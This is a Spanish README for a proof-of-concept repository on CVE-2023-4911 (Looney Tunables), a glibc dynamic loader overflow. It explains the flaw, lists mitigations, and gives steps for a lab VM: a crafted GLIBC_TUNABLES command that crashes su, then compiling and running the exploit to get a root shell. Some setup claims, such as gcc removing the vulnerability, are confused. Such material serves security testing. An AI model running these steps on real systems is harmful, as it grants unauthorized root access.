
Repositorio que contiene una Prueba de Concepto (PoC) que demuestra el impacto de CVE-2023-4911, una vulnerabilidad en el cargador dinámico ld.so de glibc, exponiendo riesgos relacionados con Looney Tunables.
La Biblioteca C de GNU (glibc) actúa como la biblioteca C del sistema GNU y es fundamental para los sistemas basados en Linux. En su núcleo, glibc define funcionalidades esenciales para los programas, incluyendo llamadas al sistema y funciones comunes como open, malloc, printf y exit. El cargador dinámico, un componente vital de glibc, desempeña un papel clave en la preparación y ejecución de programas al gestionar las bibliotecas compartidas y enlazarlas en tiempo de ejecución.
Introducida para potenciar a los usuarios sin necesidad de recompilación, la variable de entorno GLIBC_TUNABLES permite a los usuarios modificar el comportamiento de glibc en tiempo de ejecución. Proporciona un medio para ajustar parámetros de rendimiento y comportamiento, lo que afecta al inicio de las aplicaciones.
Una vulnerabilidad de desbordamiento de búfer en el procesamiento de GLIBC_TUNABLES por parte del cargador dinámico supone un riesgo de seguridad crítico. Su explotación otorga a los atacantes locales privilegios elevados, pudiendo llegar a proporcionar acceso root completo. La explotación exitosa en distribuciones importantes como Fedora, Ubuntu y Debian subraya la gravedad y el impacto generalizado.
El uso indebido o la explotación de esta vulnerabilidad puede afectar al rendimiento, la fiabilidad y la seguridad del sistema. Si bien los detalles del exploit no se divulgan, el riesgo es inminente, ya que los desbordamientos de búfer pueden transformarse rápidamente en ataques de solo datos. Las distribuciones de Linux populares que usan glibc pueden ser susceptibles, lo que enfatiza la necesidad de concienciación y mitigación inmediatas.
Asignado: 3 de octubre de 2023
Tipo: Escalada local de privilegios
Versiones afectadas: glibc 2.34 y posteriores
Distribuciones: RHEL, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo y otras que usan glibc Mitigación
Actualización: Aplique las actualizaciones de glibc con prontitud.
Monitorización: Manténgase informado sobre los avisos de seguridad.
Revisión: Evalúe el uso de GLIBC_TUNABLES en las aplicaciones.
Auditoría: Examine los registros del sistema en busca de actividades sospechosas.
Ubuntu 22.04 Ubuntu GLIBC 2.35-0ubuntu3.1 su de util-linux 2.37.2 ASLR activado
Se usó la ISO de Ubuntu (versión 22.04.1) para crear la máquina virtual
Después de una instalación exitosa no necesitamos actualizar nada, pero instalaremos git y el paquete GNU Binutils, ya que no se encuentran en el sistema, y al compilar el script de exploit en Python te enfrentarás al error.
Usando estos comandos:
$ sudo apt install git
$ sudo apt install binutils
Compruebe si es vulnerable
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Si muestra
Segmentation fault (core dumped), entonces es vulnerable.
compruebe la versión del enlazador/cargador dinámico, a menudo asociado con la Biblioteca C de GNU (glibc)
$ ldd --version
La salida mostrará la versión de GLIBC
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
Ahora que sabemos que nuestra máquina es vulnerable y está lista para escalar los privilegios de root
Nota: No debemos instalar gcc en la máquina; si lo instalamos, perderá su vulnerabilidad, por lo que el script no funcionará.
Como no tenemos gcc instalado, necesitamos compilar el programa en C en la máquina anfitriona y luego importarlo a la máquina invitada.
podemos compilar el programa en C con este comando
$ gcc exploit.c -o (outputname)
Después de importar el archivo de salida del programa en C, importe también el script de Python (genlib.py).
Ahora compile el script de Python
$ python3 genlib.py
Después de compilar, se crea una carpeta '"'.
Haremos esto en la carpeta /tmp para que el usuario pueda ejecutar el script y el programa
Ahora, por último, ejecutaremos el programa para escalar los privilegios de root
$ ./(nameoftheprogram)
Tomará algo de tiempo y obtendrá el shell de root.
¡Proteger para empoderar, no explotar!
Referencias: